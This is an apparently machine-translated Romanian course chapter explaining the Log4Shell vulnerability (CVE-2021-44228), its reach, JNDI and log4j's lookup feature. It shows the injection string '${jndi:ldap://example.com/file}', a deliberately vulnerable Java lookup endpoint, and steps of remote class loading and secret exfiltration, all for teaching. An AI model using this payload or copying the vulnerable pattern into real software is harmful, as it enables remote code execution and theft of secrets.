7.1 Scandal
Și, desigur, este imposibil să nu spui despre povestea care s-a întâmplat destul de recent - la sfârșitul anului 2021.
Agenția SUA pentru Securitate Cibernetică și Protecție a Infrastructurii (CISA) a declarat că problema Log4Shelleste una dintre cele mai grave vulnerabilități din istorie. Da, vorbim despre biblioteca noastră preferată log4j.
Mica noastră bibliotecă confortabilă log4j și cea mai mare vulnerabilitate din istorie ? Intrigat? Atunci ascultă.
7.2 Amploarea dezastrului
Descoperirea unei vulnerabilități critice Log4Shell(cod CVE-2021-44228) a fost anunțată pe 9 decembrie 2021 de experții în securitate Lunasec. Experții din comunitatea Java Apache Security Team au verificat aceste informații și au publicat o listă de biblioteci Java vulnerabile. Lista era doar uriașă.
Dacă un proiect Java a folosit o bibliotecă log4j, atunci ar putea fi spart destul de ușor. Și având în vedere că aproape tot software-ul de server este scris în Javacel log4jmai popular logger java, conform experților în securitate, vulnerabilitatea a afectat 93% din mediile cloud corporative. Inclusiv Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam și multe altele
Mai mult, vulnerabilitatea a afectat nu numai software-ul serverului, ci și multe aplicații Java, precum și producătorii de hardware. De exemplu, Intel a publicat o listă de 32 de programe hackabile: SDK-uri, sisteme de întreținere a serverelor, instrumente Linux.
Nvidia a postat, de asemenea, un raport privind problemele de securitate care menționează serverele DGX și instrumentele NetQ. O serie de actualizări au fost lansate urgent de Apple și Microsoft.
În linii mari, o linie din bara de adrese a browserului unui student plasează serverul dacă această linie este consumată de logger (pe multe servere, totul este înregistrat HTTP-requests).
După analizarea codului, s-a dovedit că vulnerabilitatea se afla în bibliotecă din 2013, dar au observat abia acum. Și când au început să sape mai adânc, au descoperit un abis, al cărui fund nu se vede deloc.
7.3 Cea mai gravă vulnerabilitate din istorie
În decembrie 2021, Agenția SUA pentru Securitate Cibernetică și Protecție a Infrastructurii (CISA) a declarat că Log4Shelleste una dintre cele mai grave vulnerabilități din istorie .
Mulți alți experți exprimă o opinie similară . Toată lumea știe despre această vulnerabilitate, iar hackerii de toate vârstele o folosesc deja pentru a fura date personale și alte tipuri de atacuri asupra diferitelor organizații. În viitor, așteptăm un val de hack-uri masive și scurgeri de date.
Amploarea dezastrului poate fi măsurată chiar și prin faptul că există un site separat cu meme despre Log4j și în fiecare zi apar poze noi.
Această problemă este cu noi de mult timp. O gaură de securitate în milioane, dacă nu în sute de milioane de sisteme informatice. Toate programele vechi trebuie actualizate și cel puțin înlocuiți această bibliotecă acolo. Dar, în majoritatea cazurilor, nimeni nu știe nici măcar ce biblioteci și ce versiuni sunt folosite în software-ul lor.
În general, ne așteptăm la o creștere bruscă a salariilor specialiștilor în securitate informatică.
7.4 Natura vulnerabilității
Pentru a înțelege esența vulnerabilității, trebuie să înțelegeți cum sunt aranjate sistemele de server mari. Adesea, astfel de aplicații de server sunt împărțite în diferite servicii care sunt situate pe servere diferite. Și serviciul JNDI îi ajută să interacționeze.
Java Naming and Directory Interface (JNDI) este Java APIde a căuta obiecte/servicii după nume. Aceste obiecte pot fi stocate în diferite servicii de denumire sau directoare, cum ar fi Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) sau Domain Name Service (DNS).
Lucrul cu acesta este foarte simplu - este unul simplu Java APIcare ia un singur parametru șir - numele serviciului. Cu el, poți contacta orice serviciu și îi poți cere să facă ceva și/sau să trimită niște date. De exemplu, șir ${jndi:ldap://example.com/file}va încărca date din acest URLspecificat în șir.
Dacă parametrul provine dintr-o sursă neîncrezătoare, poate duce la încărcarea clasei de la distanță și la executarea codului terță parte . Ce se întâmplă în cazul Log4j. Atacatorul pur și simplu direcționează aplicația Java a victimei către cea rău intenționată rmi/ldap/corba-serverși primește un obiect rău intenționat ca răspuns.
Din punct de vedere tehnic, problema aici nu este în log4jbiblioteca în sine, ci în setările de securitate atunci când lucrați cu JNDI-service. Întotdeauna trebuie să verificați la ce fel de șir trecem InitialContext.lookup().
Exemplu vulnerabil JNDI-applications:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}7.5 Bibliotecă prea inteligentă
Si unde log4jintrebi? Ideea este că dezvoltatorii săi au vrut să facă lucrul cu acesta cât mai confortabil posibil și i-au adăugat logare inteligentă. Iată cum funcționează:
Totul a început cu faptul că mesajele de jurnal v-au permis să setați un șablon în care datele au fost înlocuite, de exemplu:
log.debug(“User {user} has {count} friends”, user, count);
Vechea versiune fără substituție de date arăta astfel:
log.debug( “User “+user +” has “+ count +” friends”);
În 2013, în bibliotecă a fost adăugată și înlocuirea prefixelor inteligente specificate de șablonul de vizualizare ${prefix:name}. De exemplu, șirul “${java:version}”va fi convertit în «Java version 1.7.0_67». Oh cât de convenabil.
Printre expresiile recunoscute se numără ${jndi:<lookup>}unde după protocolul jndi se poate specifica o căutare prin LDAP: arbitrar URL-addresspoate fi interogat și încărcat ca date obiect Java.
Aceasta este o problemă standard a întregii abordări JDK: deserializează automat un obiect, un link către care poate fi setat sub forma unei adrese URL. În acest caz, nu numai datele obiectului sunt încărcate din resursa de la distanță, ci și codul clasei sale.
Hack-ul arată astfel:
- Descărcarea unui fișier cu cod rău intenționat
- Fișierul conține seriat
Java an object(și clasa sa) - Clasa se încarcă
Java-machine - Este creat un obiect dintr-o clasă rău intenționată
- Constructorul obiectului este numit
- Atât constructorul, cât și inițializarea statică permit executarea unui cod de clasă rău intenționat
log4jDacă există ceva asemănător în linia care este înregistrată ${jndi:ldap://example.com/file}, atunci log4jva descărca date de la aceasta URL-addressatunci când se conectează la Internet . Prin introducerea unui șir care este înregistrat, un atacator poate descărca și executa cod rău intenționat găzduit pe un URL-address.
Chiar dacă execuția datelor este dezactivată, un atacator poate obține date, cum ar fi variabile secrete de mediu, plasându-le într-un URL-address, care le va înlocui și le va trimite la serverul atacatorului.
Vestea bună este că problema a fost rezolvată rapid în bibliotecă .
Vestea proastă este că milioane de servere din întreaga lume rulează încă versiunea veche a acestei biblioteci ...